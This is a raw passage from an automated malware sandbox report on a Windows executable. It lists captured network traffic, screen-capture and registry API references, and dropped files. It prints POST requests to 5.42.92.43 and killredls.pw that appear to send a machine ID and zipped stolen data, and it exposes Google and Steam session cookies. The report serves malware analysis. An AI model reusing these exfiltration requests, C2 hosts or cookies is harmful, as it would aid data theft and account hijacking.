header "POST /v3/signin/_/AccountsSignInUi/data/batchexecute?rpcids=UEkKwb&source-path=%2Fv3%2Fsignin%2Fidentifier&f.sid=-229676305671162135&bl=boq_identityfrontendauthuiserver_20231105.08_p1&hl=en-US&_reqid=23888&rt=c HTTP/1.1Accept: */*X-Same-Domain: 1x-goog-ext-278367001-jspb: ["GlifWebSignIn"]x-goog-ext-391502476-jspb: ["S-1542572330:1699682512627359",null,null,"AVQVeyzlNHzwCjzsISS21sueESUPDA6Re_NzYRGjzOhWR9a9QOsfk4LhfAY9qMW6b4eOIpVcP5oskg"]Content-Type: application/x-www-form-urlencoded;charset=utf-8Referer: https://accounts.google.com/Accept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoHost: accounts.google.comContent-Length: 166DNT: 1Connection: Keep-AliveCache-Control: no-cacheCookie: __Host-GAPS=1:sWf7fqu86CIdMQsDhQS9boTszYmGxw:_0JPe5sGxqQDa_jB; OTZ=7289611_52_52_123900_48_436380; NID=511=U4EfExuy46lTxU-OPGB5KrKft0q7rMFs4O-GFzu2YODXCAlxGCETfj854lnNqUQgxkvbdO-0KaRXpiM-4nVkgG-sthzmPC7GLAv_GKV4aZckPxWtovzZo0X0WYtAVaIZ2vK_9iavBCiLtMBahWSYVp9lQ7DLONtKW23DzbUl7uo"; in File: "SSL") Found requests in header "GET /_/bscframe HTTP/1.1Accept: text/html, application/xhtml+xml, */*Referer: https://accounts.google.com/Accept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: accounts.google.comDNT: 1Connection: Keep-AliveCookie: __Host-GAPS=1:sWf7fqu86CIdMQsDhQS9boTszYmGxw:_0JPe5sGxqQDa_jB; OTZ=7289611_52_52_123900_48_436380; NID=511=U4EfExuy46lTxU-OPGB5KrKft0q7rMFs4O-GFzu2YODXCAlxGCETfj854lnNqUQgxkvbdO-0KaRXpiM-4nVkgG-sthzmPC7GLAv_GKV4aZckPxWtovzZo0X0WYtAVaIZ2vK_9iavBCiLtMBahWSYVp9lQ7DLONtKW23DzbUl7uo"; in File: "SSL") Found requests in header "GET /generate_204?tIC2XQ HTTP/1.1Accept: image/png, image/svg+xml, image/*;q=0.8, */*;q=0.5Referer: https://accounts.google.com/Accept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: accounts.google.comDNT: 1Connection: Keep-AliveCookie: __Host-GAPS=1:jCbKEoF7OYbZ0VuCn5c6eGCxaQGDlA:n45B1gECLaDkCUTP; OTZ=7289611_52_52_123900_48_436380; NID=511=U4EfExuy46lTxU-OPGB5KrKft0q7rMFs4O-GFzu2YODXCAlxGCETfj854lnNqUQgxkvbdO-0KaRXpiM-4nVkgG-sthzmPC7GLAv_GKV4aZckPxWtovzZo0X0WYtAVaIZ2vK_9iavBCiLtMBahWSYVp9lQ7DLONtKW23DzbUl7uo"; in File: "SSL") Found requests in header "GET /favicon.ico HTTP/1.1Accept: */*Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoHost: steamcommunity.comDNT: 1Connection: Keep-AliveCookie: sessionid=b3285aa27c571253a7309f0e; steamCountry=US%7Cd5203a3b374fc04fbcd23a13412805b3"; in File: "SSL") Found requests in header "GET /login/ HTTP/1.1Accept: text/html, application/xhtml+xml, */*Accept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: store.steampowered.comDNT: 1Connection: Keep-Alive"; in File: "SSL") Found requests in header "GET /favicon.ico HTTP/1.1Accept: */*Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoHost: store.steampowered.comDNT: 1Connection: Keep-AliveCookie: steamCountry=US%7Cd5203a3b374fc04fbcd23a13412805b3; browserid=3194801762429895827; sessionid=b1cae7856a3ae6aefdafa1b5"; in File: "SSL")6e:T1331,Found string "POST /loghub/master HTTP/1.1Content-Type: multipart/form-data; boundary=3ZFPaoSeDbC6IsUdjAygContent-Length: 213User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.1)Host: 5.42.92.43Connection: Keep-AliveCache-Control: no-cache--3ZFPaoSeDbC6IsUdjAygContent-Disposition: form-data; name="hwid"QjIyMDJFQ0Q2NUJEMjM3NTI2MTQ0Mw==--3ZFPaoSeDbC6IsUdjAygContent-Disposition: form-data; name="build"bmFyZG8=--3ZFPaoSeDbC6IsUdjAyg--"; File: "PCAP") Found string "POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=SqDe87817huf871793q74User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 532Host: killredls.pw--SqDe87817huf871793q74Content-Disposition: form-data; name="act"send_message--SqDe87817huf871793q74Content-Disposition: form-data; name="hwid"77E14212B003EE1B73903C8A1C1B6DB62691A715--SqDe87817huf871793q74Content-Disposition: form-data; name="pid"1--SqDe87817huf871793q74Content-Disposition: form-data; name="lid"HHhUQl--new--SqDe87817huf871793q74Content-Disposition: form-data; name="file"; filename="file"Content-Type: attachment/x-objectPK"; File: "PCAP") Found string "POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=SqDe87817huf871793q74User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 532Host: killredls.pw--SqDe87817huf871793q74Content-Disposition: form-data; name="act"send_message--SqDe87817huf871793q74Content-Disposition: form-data; name="hwid"77E14212B003EE1B73903C8A1C1B6DB62691A715--SqDe87817huf871793q74Content-Disposition: form-data; name="pid"2--SqDe87817huf871793q74Content-Disposition: form-data; name="lid"HHhUQl--new--SqDe87817huf871793q74Content-Disposition: form-data; name="file"; filename="file"Content-Type: attachment/x-objectPK"; File: "PCAP") Found string "POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=SqDe87817huf871793q74User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 532Host: killredls.pw--SqDe87817huf871793q74Content-Disposition: form-data; name="act"send_message--SqDe87817huf871793q74Content-Disposition: form-data; name="hwid"77E14212B003EE1B73903C8A1C1B6DB62691A715--SqDe87817huf871793q74Content-Disposition: form-data; name="pid"3--SqDe87817huf871793q74Content-Disposition: form-data; name="lid"HHhUQl--new--SqDe87817huf871793q74Content-Disposition: form-data; name="file"; filename="file"Content-Type: attachment/x-objectPK"; File: "PCAP") Found string "POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=SqDe87817huf871793q74User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 971Host: killredls.pw--SqDe87817huf871793q74Content-Disposition: form-data; name="act"send_message--SqDe87817huf871793q74Content-Disposition: form-data; name="hwid"77E14212B003EE1B73903C8A1C1B6DB62691A715--SqDe87817huf871793q74Content-Disposition: form-data; name="pid"1--SqDe87817huf871793q74Content-Disposition: form-data; name="lid"HHhUQl--new--SqDe87817huf871793q74Content-Disposition: form-data; name="file"; filename="file"Content-Type: attachment/x-objectPK"; File: "PCAP") Found string "POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=SqDe87817huf871793q74User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 965Host: killredls.pw--SqDe87817huf871793q74Content-Disposition: form-data; name="act"send_message--SqDe87817huf871793q74Content-Disposition: form-data; name="hwid"77E14212B003EE1B73903C8A1C1B6DB62691A715--SqDe87817huf871793q74Content-Disposition: form-data; name="pid"1--SqDe87817huf871793q74Content-Disposition: form-data; name="lid"HHhUQl--new--SqDe87817huf871793q74Content-Disposition: form-data; name="file"; filename="file"Content-Type: attachment/x-objectPK"; File: "PCAP") Found string "POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=SqDe87817huf871793q74User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 58249Host: killredls.pw--SqDe87817huf871793q74Content-Disposition: form-data; name="act"send_message--SqDe87817huf871793q74Content-Disposition: form-data; name="hwid"77E14212B003EE1B73903C8A1C1B6DB62691A715--SqDe87817huf871793q74Content-Disposition: form-data; name="pid"1--SqDe87817huf871793q74Content-Disposition: form-data; name="lid"HHhUQl--new--SqDe87817huf871793q74Content-Disposition: form-data; name="file"; filename="file"Content-Type: attachment/x-objectPK"; File: "PCAP")6f:T4cf,"c30b12c3a53f8b45c905634adcd928dd.exe" called "FindFirstFileW" with parameter %TEMP%\IXP000.TMP\*.* (UID: 00000000-00005056) "c30b12c3a53f8b45c905634adcd928dd.exe" called "FindNextFileW" with parameter .. (UID: 00000000-00005056) "c30b12c3a53f8b45c905634adcd928dd.exe" called "FindNextFileW" with parameter 6gz238.exe (UID: 00000000-00005056) "c30b12c3a53f8b45c905634adcd928dd.exe" called "FindNextFileW" with parameter Px7mP64.exe (UID: 00000000-00005056) "c30b12c3a53f8b45c905634adcd928dd.exe" called "FindFirstFileA" with parameter %TEMP%\IXP000.TMP\* (UID: 00000000-00005056) "c30b12c3a53f8b45c905634adcd928dd.exe" called "FindNextFileA" with parameter .. (UID: 00000000-00005056) "Px7mP64.exe" called "FindFirstFileW" with parameter %TEMP%\IXP001.TMP\*.* (UID: 00000000-00005192) "Px7mP64.exe" called "FindNextFileW" with parameter .. (UID: 00000000-00005192) "Px7mP64.exe" called "FindNextFileW" with parameter 5IC74Hi.exe (UID: 00000000-00005192) "Px7mP64.exe" called "FindNextFileW" with parameter yX3Tk97.exe (UID: 00000000-00005192) "Px7mP64.exe" called "FindFirstFileA" with parameter %TEMP%\IXP001.TMP\* (UID: 00000000-00005192) "Px7mP64.exe" called "FindNextFileA" with parameter .. (UID: 00000000-00005192)70:T84f,Found reference to API "GetDesktopWindow" (Indicator: "GetDesktopWindow"; File: "c30b12c3a53f8b45c905634adcd928dd.exe") Found reference to API "GetDC" (Indicator: "GetDC"; File: "c30b12c3a53f8b45c905634adcd928dd.exe") Found reference to API "GetWindowDC" (Indicator: "GetWindowDC"; File: "00002928.00000B70.12029612.00402000.wprm") Found reference to API "CopyFromScreen" (Indicator: "CopyFromScreen"; File: "00002928.00000B70.12029612.00402000.wprm") Found reference to API "BitBlt" (Indicator: "BitBlt"; File: "00002928.00000B70.12029612.00402000.wprm") Found reference to API "GetDCEx" (Indicator: "GetDC"; File: "00002928.00000B70.12029612.00402000.wprm") Found reference to API "GetDC" (Indicator: "GetDC"; Source: "00000000-00003996.00000001.70040.0014D000.00000004.mdmp") Found reference to API "GetDesktopWindow" (Indicator: "GetDesktopWindow"; Source: "00000000-00003996.00000001.70040.0014D000.00000004.mdmp") Found reference to API "BitBlt" (Indicator: "BitBlt"; Source: "00000000-00003996.00000001.70040.0014D000.00000004.mdmp") Found reference to API "CreateCompatibleBitmap" (Indicator: "CreateCompatibleBitmap"; Source: "00000000-00003996.00000001.70040.0014D000.00000004.mdmp") Found reference to API "CreateCompatibleDC" (Indicator: "CreateCompatibleDC"; Source: "00000000-00003996.00000001.70040.0014D000.00000004.mdmp") Found reference to API "CreateDCW" (Indicator: "CreateDC"; Source: "00000000-00003996.00000001.70040.0014D000.00000004.mdmp") Found reference to API "GetDIBits" (Indicator: "GetDIBits"; Source: "00000000-00003996.00000001.70040.0014D000.00000004.mdmp") Found reference to API "GetDesktopWindow" (Indicator: "GetDesktopWindow"; Source: "00000000-00005056.00000003.70081.00F0A000.00000002.mdmp") Found reference to API "GetDC" (Indicator: "GetDC"; Source: "00000000-00005056.00000003.70081.00F0A000.00000002.mdmp") Found reference to API "GetDesktopWindow" (Indicator: "GetDesktopWindow"; Source: "00000000-00005192.00000000.66259.0134A000.00000002.mdmp") Found reference to API "GetDC" (Indicator: "GetDC"; Source: "00000000-00005192.00000000.66259.0134A000.00000002.mdmp")71:T62b,Found reference to API "RegOpenKeyExA" (Indicator: "RegOpenKey"; File: "c30b12c3a53f8b45c905634adcd928dd.exe") Found reference to API "RegQueryInfoKeyA" (Indicator: "RegQueryInfoKey"; File: "c30b12c3a53f8b45c905634adcd928dd.exe") Found reference to API "RegQueryValueExA" (Indicator: "RegQueryValue"; File: "c30b12c3a53f8b45c905634adcd928dd.exe") Found reference to API "RegEnumKeyExW" (Indicator: "RegEnumKey"; Source: "00000000-00003996.00000001.70040.0014D000.00000004.mdmp") Found reference to API "RegOpenKeyExW" (Indicator: "RegOpenKey"; Source: "00000000-00003996.00000001.70040.0014D000.00000004.mdmp") Found reference to API "RegQueryValueExW" (Indicator: "RegQueryValue"; Source: "00000000-00003996.00000001.70040.0014D000.00000004.mdmp") Found reference to API "RegOpenKeyExA" (Indicator: "RegOpenKey"; Source: "00000000-00005056.00000003.70081.00F0A000.00000002.mdmp") Found reference to API "RegQueryInfoKeyA" (Indicator: "RegQueryInfoKey"; Source: "00000000-00005056.00000003.70081.00F0A000.00000002.mdmp") Found reference to API "RegQueryValueExA" (Indicator: "RegQueryValue"; Source: "00000000-00005056.00000003.70081.00F0A000.00000002.mdmp") Found reference to API "RegOpenKeyExA" (Indicator: "RegOpenKey"; Source: "00000000-00005192.00000000.66259.0134A000.00000002.mdmp") Found reference to API "RegQueryInfoKeyA" (Indicator: "RegQueryInfoKey"; Source: "00000000-00005192.00000000.66259.0134A000.00000002.mdmp") Found reference to API "RegQueryValueExA" (Indicator: "RegQueryValue"; Source: "00000000-00005192.00000000.66259.0134A000.00000002.mdmp")72:T4c3,Found reference to API "GetTokenInformation" (Indicator: "GetTokenInformation"; File: "c30b12c3a53f8b45c905634adcd928dd.exe") Found reference to API "OpenProcessToken" (Indicator: "OpenProcessToken"; File: "c30b12c3a53f8b45c905634adcd928dd.exe") file/memory contains long string with (Indicator: "OpenProcessToken"; File: "c30b12c3a53f8b45c905634adcd928dd.exe") file/memory contains long string with (Indicator: "OpenProcessToken"; Source: "00000000-00005056.00000003.70081.00F0A000.00000002.mdmp") Found reference to API "GetTokenInformation" (Indicator: "GetTokenInformation"; Source: "00000000-00005056.00000003.70081.00F0A000.00000002.mdmp") Found reference to API "OpenProcessToken" (Indicator: "OpenProcessToken"; Source: "00000000-00005056.00000003.70081.00F0A000.00000002.mdmp") file/memory contains long string with (Indicator: "OpenProcessToken"; Source: "00000000-00005192.00000000.66259.0134A000.00000002.mdmp") Found reference to API "GetTokenInformation" (Indicator: "GetTokenInformation"; Source: "00000000-00005192.00000000.66259.0134A000.00000002.mdmp") Found reference to API "OpenProcessToken" (Indicator: "OpenProcessToken"; Source: "00000000-00005192.00000000.66259.0134A000.00000002.mdmp")73:T7f8,"AppLaunch.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK\PARAMETERS"; Key: "TRANSPORTS"; Value: "") "AppLaunch.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP6\PARAMETERS\WINSOCK"; Key: "MAPPING"; Value: "") "AppLaunch.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\PSCHED\PARAMETERS\WINSOCK"; Key: "MAPPING"; Value: "") "AppLaunch.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK\SETUP MIGRATION\PROVIDERS\PSCHED"; Key: "WINSOCK 2.0 PROVIDER ID"; Value: "") "AppLaunch.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\WINSOCK"; Key: "MAPPING"; Value: "") "AppLaunch.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK\SETUP MIGRATION\PROVIDERS\TCPIP"; Key: "WINSOCK 2.0 PROVIDER ID"; Value: "") "AppLaunch.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\WINSOCK"; Key: "MINSOCKADDRLENGTH"; Value: "") "AppLaunch.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\WINSOCK"; Key: "MAXSOCKADDRLENGTH"; Value: "") "AppLaunch.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\WINSOCK"; Key: "USEDELAYEDACCEPTANCE"; Value: "") "AppLaunch.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\WINSOCK"; Key: "HELPERDLLNAME"; Value: "") "AppLaunch.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS"; Key: "HOSTNAME"; Value: "") "AppLaunch.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS"; Key: "DOMAIN"; Value: "") "AppLaunch.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS"; Key: "WINSOCK_REGISTRY_VERSION"; Value: "") "AppLaunch.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS"; Key: "AUTODIALDLL"; Value: "")74:T15be,Dropped file: "MQ2TKTX6.htm" - Location: [%LOCALAPPDATA%\Microsoft\Windows\Temporary Internet Files\Content.IE5\37NU00GP\MQ2TKTX6.htm]- [targetUID: 00000000-00005488] Dropped file: "imagestore.dat" - Location: [%LOCALAPPDATA%\Microsoft\Internet Explorer\imagestore\3mt7jhv\imagestore.dat]- [targetUID: 00000000-00005284] Dropped file: "en-US.4" - Location: [%LOCALAPPDATA%\Microsoft\Internet Explorer\DomainSuggestions\en-US.4]- [targetUID: 00000000-00005292] Dropped file: "57C8EDB95DF3F0AD4EE2DC2B8CFD4157" - Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\Content\57C8EDB95DF3F0AD4EE2DC2B8CFD4157]- [targetUID: 00000000-00005284] Dropped file: "8A7891822FCFF127E4EADADE9757112B" - Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\Content\8A7891822FCFF127E4EADADE9757112B]- [targetUID: 00000000-00005488] Dropped file: "CAF4703619713E3F18D8A9D5D88D6288_A7725538C46DE2D0088EE44974E2CEBA" - Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\Content\CAF4703619713E3F18D8A9D5D88D6288_A7725538C46DE2D0088EE44974E2CEBA]- [targetUID: 00000000-00005676] Dropped file: "ELQF98ID.txt" - Location: [%APPDATA%\Microsoft\Windows\Cookies\ELQF98ID.txt]- [targetUID: 00000000-00005968] Dropped file: "A16C6C16D94F76E0808C087DFC657D99_5B226F2301FD399CF34ABA67B4DC6AC8" - Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\Content\A16C6C16D94F76E0808C087DFC657D99_5B226F2301FD399CF34ABA67B4DC6AC8]- [targetUID: 00000000-00005676] Dropped file: "F2DDCD2B5F37625B82E81F4976CEE400_11314361DFE3E655E02EC2E7F9346EC1" - Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\Content\F2DDCD2B5F37625B82E81F4976CEE400_11314361DFE3E655E02EC2E7F9346EC1]- [targetUID: 00000000-00005676] Dropped file: "EDC238BFF48A31D55A97E1E93892934B_C31B2498754E340573F1336DE607D619" - Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\Content\EDC238BFF48A31D55A97E1E93892934B_C31B2498754E340573F1336DE607D619]- [targetUID: 00000000-00005800] Dropped file: "E2C6CBAF0AF08CF203BA74BF0D0AB6D5_49536AB5156BDD74EFF881D01C36A419" - Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\Content\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_49536AB5156BDD74EFF881D01C36A419]- [targetUID: 00000000-00005972] Dropped file: "80237EE4964FC9C409AAF55BF996A292_D46D6FA25B74360E1349F9015B5CCE53" - Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\Content\80237EE4964FC9C409AAF55BF996A292_D46D6FA25B74360E1349F9015B5CCE53]- [targetUID: 00000000-00005488] Dropped file: "E2C6CBAF0AF08CF203BA74BF0D0AB6D5_0FB9553B978E7F00C6B2309507DEB64A" - Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\Content\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_0FB9553B978E7F00C6B2309507DEB64A]- [targetUID: 00000000-00005488] Dropped file: "80237EE4964FC9C409AAF55BF996A292_C5130A0BDC8C859A2757D77746C10868" - Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\Content\80237EE4964FC9C409AAF55BF996A292_C5130A0BDC8C859A2757D77746C10868]- [targetUID: 00000000-00005488] Dropped file: "35DDEDF268117918D1D277A171D8DF7B_63BF650CC326FEDF447792693EE806B1" - Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\Content\35DDEDF268117918D1D277A171D8DF7B_63BF650CC326FEDF447792693EE806B1]- [targetUID: 00000000-00005304] Dropped file: "F2DDCD2B5F37625B82E81F4976CEE400_57DB0353F73BFEAADC2A8A5ECA70ACE8" - Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\Content\F2DDCD2B5F37625B82E81F4976CEE400_57DB0353F73BFEAADC2A8A5ECA70ACE8]- [targetUID: 00000000-00005676] Dropped file: "59D76868C250B3240414CE3EFBB12518_DB3354A21B46C492983D8DC6E09DCFAD" - Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\Content\59D76868C250B3240414CE3EFBB12518_DB3354A21B46C492983D8DC6E09DCFAD]- [targetUID: 00000000-00005972] Dropped file: "E573CDF4C6D731D56A665145182FD759_E391470CF0D37EE71D631C107209CEFF" - Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\Content\E573CDF4C6D731D56A665145182FD759_E391470CF0D37EE71D631C107209CEFF]- [targetUID: 00000000-00005800] Dropped file: "7423F88C7F265F0DEFC08EA88C3BDE45_AA1E8580D4EBC816148CE81268683776" - Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\Content\7423F88C7F265F0DEFC08EA88C3BDE45_AA1E8580D4EBC816148CE81268683776]- [targetUID: 00000000-00005284] Dropped file: "F2DDCD2B5F37625B82E81F4976CEE400_57CE1AECC398AD2C94DD1A683EAD09FC" - Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\Content\F2DDCD2B5F37625B82E81F4976CEE400_57CE1AECC398AD2C94DD1A683EAD09FC]- [targetUID: 00000000-00005676] Dropped file: "B398B80134F72209547439DB21AB308D_A4CF52CCA82D7458083F7280801A3A04" - Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\Content\B398B80134F72209547439DB21AB308D_A4CF52CCA82D7458083F7280801A3A04]- [targetUID: 00000000-00005800] Dropped file: "EDC238BFF48A31D55A97E1E93892934B_C20E0DA2D0F89FE526E1490F4A2EE5AB" - Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\Content\EDC238BFF48A31D55A97E1E93892934B_C20E0DA2D0F89FE526E1490F4A2EE5AB]- [targetUID: 00000000-00005304] Dropped file: "VUWY9P3M.txt" - Location: [%APPDATA%\Microsoft\Windows\Cookies\VUWY9P3M.txt]- [targetUID: 00000000-00005488] Dropped file: "E2C6CBAF0AF08CF203BA74BF0D0AB6D5_0FB9553B978E7F00C6B2309507DEB64A" - Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_0FB9553B978E7F00C6B2309507DEB64A]- [targetUID: 00000000-00005488] Dropped file: "E2C6CBAF0AF08CF203BA74BF0D0AB6D5_49536AB5156BDD74EFF881D01C36A419" - Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_49536AB5156BDD74EFF881D01C36A419]- [targetUID: 00000000-00005972]75:Tc007,"initAft()